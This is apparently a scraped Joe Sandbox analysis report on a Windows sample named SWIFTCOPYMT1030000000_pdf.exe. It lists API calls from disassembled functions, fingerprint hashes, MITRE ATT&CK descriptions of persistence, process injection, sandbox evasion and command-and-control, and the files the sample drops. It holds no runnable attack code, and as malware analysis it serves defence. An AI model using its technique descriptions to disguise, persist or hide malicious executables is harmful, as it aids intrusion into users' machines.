Part of subcall function 00404E84: SetWindowTextA.USER32(0079E4D8,0079E4D8), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F40

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FA3
GetProcAddress.KERNEL32(00000000,?), ref: 00401FB3
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040201D

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 295b2aa844a57aa1650ec08b3fbb112542546d6ed002a0d7a8fdf70b8c7bc2fa
Instruction ID: d3abe0a985e527f0133db3cb222e4045a6b822903cb71d54981d30858ec5e20d
Opcode Fuzzy Hash: 295b2aa844a57aa1650ec08b3fbb112542546d6ed002a0d7a8fdf70b8c7bc2fa
Instruction Fuzzy Hash: 01213032904211ABCF207F64CE49A6F79B0AF44358F20413BF601B62D1D7BD4E419A5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040231A Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402358
lstrlenA.KERNEL32(0040A398,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402378
RegSetValueExA.ADVAPI32(?,?,?,?,0040A398,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B1
RegCloseKey.ADVAPI32(?,?,?,0040A398,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040248E

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 62cac39b2e001f96040e268342fc38afedce00ecc07eb665eb786a4124eb70cf
Instruction ID: 496afd6724d83472fd7aeeeeb6c9636b40b67d15b6efd44fac0fbba193c6cb19
Opcode Fuzzy Hash: 62cac39b2e001f96040e268342fc38afedce00ecc07eb665eb786a4124eb70cf
Instruction Fuzzy Hash: 40116071E00208BEEB10EFB5CE89EAF7A78EB44358F10403AF905B61D1D6B85D419A69

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 004056BD: CharNextA.USER32(?,00000000,?,?,004015C2,00000000,000000F0), ref: 004056CB
Part of subcall function 004056BD: CharNextA.USER32(00000000,?,?,004015C2,00000000,000000F0), ref: 004056D0
Part of subcall function 004056BD: CharNextA.USER32(00000000,?,?,004015C2,00000000,000000F0), ref: 004056E4

CreateDirectoryA.KERNEL32(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNEL32(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNEL32(00000000,007A8800,00000000,00000000,000000F0), ref: 00401622

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: 3665ca61bb8be5a4da9b2d20c6af589533fd28194ffa40c137a535fff9372203
Instruction ID: be2e729169105f21f0136a8afe605fb55404e4043758c9297c14daf22ca337c6
Opcode Fuzzy Hash: 3665ca61bb8be5a4da9b2d20c6af589533fd28194ffa40c137a535fff9372203
Instruction Fuzzy Hash: A7114831908150ABDB213F755D04EBF77B4EE56366724073FF492B22E2C63C09429A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00401EDC Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401EEB
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F09
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F22
VerQueryValueA.VERSION(?,00409014,?,?,?,?,?,00000000), ref: 00401F3B

Part of subcall function 00405AD5: wsprintfA.USER32 ref: 00405AE2

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 8a065e25df513d2c70edfbb38d14aece4aa2bad1db351d2eec3c415220230595
Instruction ID: d9cf4706ccd720fe68a9057b37b388a6d3cc99dc36037c8cf20abe177969b22e
Opcode Fuzzy Hash: 8a065e25df513d2c70edfbb38d14aece4aa2bad1db351d2eec3c415220230595
Instruction Fuzzy Hash: 02117071900108BEDB01EFA5DD81DAEBBB9EF04344B20807AF505F61E2D7789E54DB28

Uniqueness

Uniqueness Score: -1.00%

Function 00402BCF Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402DAF,00000001), ref: 00402BE2
GetTickCount.KERNEL32 ref: 00402C00
CreateDialogParamA.USER32(0000006F,00000000,00402B4C,00000000), ref: 00402C1D
ShowWindow.USER32(00000000,00000005), ref: 00402C2B

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 7de69ba99e19708d0d579c18d4dfd725f7e56dba20af062519453b561e00e44c
Instruction ID: d1c4e1838bfb856cd6d3ea9dd85ee240d54de3540c59ddf7a57925f8cf4fbe18
Opcode Fuzzy Hash: 7de69ba99e19708d0d579c18d4dfd725f7e56dba20af062519453b561e00e44c
Instruction Fuzzy Hash: 52F0D030909620BFC6616F18BD4CE5F7BA4E745B117518467F204A11A5D27CA8838FAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405854 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405868
GetTempFileNameA.KERNEL32(?,?,00000000,?), ref: 00405882

Strings

nsa, xrefs: 0040585F

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 87e393fdd40e1d767205cfde8df7900e21dccd4be60ce2c97c6d908c1bde172d
Instruction ID: 7032c49e779d22ef4b019cebcd704e5cdda6a64cd28d021928a5f34cef86c798
Opcode Fuzzy Hash: 87e393fdd40e1d767205cfde8df7900e21dccd4be60ce2c97c6d908c1bde172d
Instruction Fuzzy Hash: 21F082777082046BDB109F66DC04B9B7B9CDF95750F14C03BFE44DA180D6B499548B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040578A Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0040599C,?,00000000,00000000,?,00000000,0040599C,00000000,[Rename]), ref: 0040579A
lstrcmpiA.KERNEL32(00000000,0040599C), ref: 004057B2
CharNextA.USER32(00000000,?,00000000,0040599C,00000000,[Rename]), ref: 004057C3
lstrlenA.KERNEL32(00000000,?,00000000,0040599C,00000000,[Rename]), ref: 004057CC

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4d6aa7fcecb591248e5394db533e431d238a5c46998e6b160d14a30e062bce79
Instruction ID: df48b93824ef6af08d299fa443af8079e3e9d2208639ace1cb57769ac35cd01d
Opcode Fuzzy Hash: 4d6aa7fcecb591248e5394db533e431d238a5c46998e6b160d14a30e062bce79
Instruction Fuzzy Hash: DBF0C235504518FFC7029BA5DC4099FBBB8EF45350F2540AAF800F7210D274EE01ABA9

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SWIFTCOPYMT1030000000_pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SWIFTCOPYMT10300_b9e5f432cb9f1954977155ad8a81be740fe4f69_4d2b002c_27de1eb3-8436-4619-8df8-ea2aad8a21e4\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF676.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF703.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF743.tmp.xml

C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe

C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\nsExec.dll

C:\Users\user\udskriftskartotek\chiromancy\refalling\Nonessential\Milched.gri

C:\Users\user\udskriftskartotek\chiromancy\refalling\Nonessential\Uforstaaeligheds.Com

C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy\perivesical.cer

C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy\vanskabningers.txt

C:\Users\user\udskriftskartotek\chiromancy\refalling\kryddernes\Kontorarbejderne\Helbredskontrollen.Ana

C:\Users\user\udskriftskartotek\chiromancy\refalling\kryddernes\Kontorarbejderne\dhourra.dei

C:\Users\user\udskriftskartotek\chiromancy\refalling\kryddernes\Kontorarbejderne\fiskeriinteressernes.bnk

C:\Users\user\udskriftskartotek\chiromancy\refalling\kryddernes\Kontorarbejderne\motleyest.hea

C:\Windows\Resources\0409\gashanens.ini

Windows Analysis Report
SWIFTCOPYMT1030000000_pdf.exe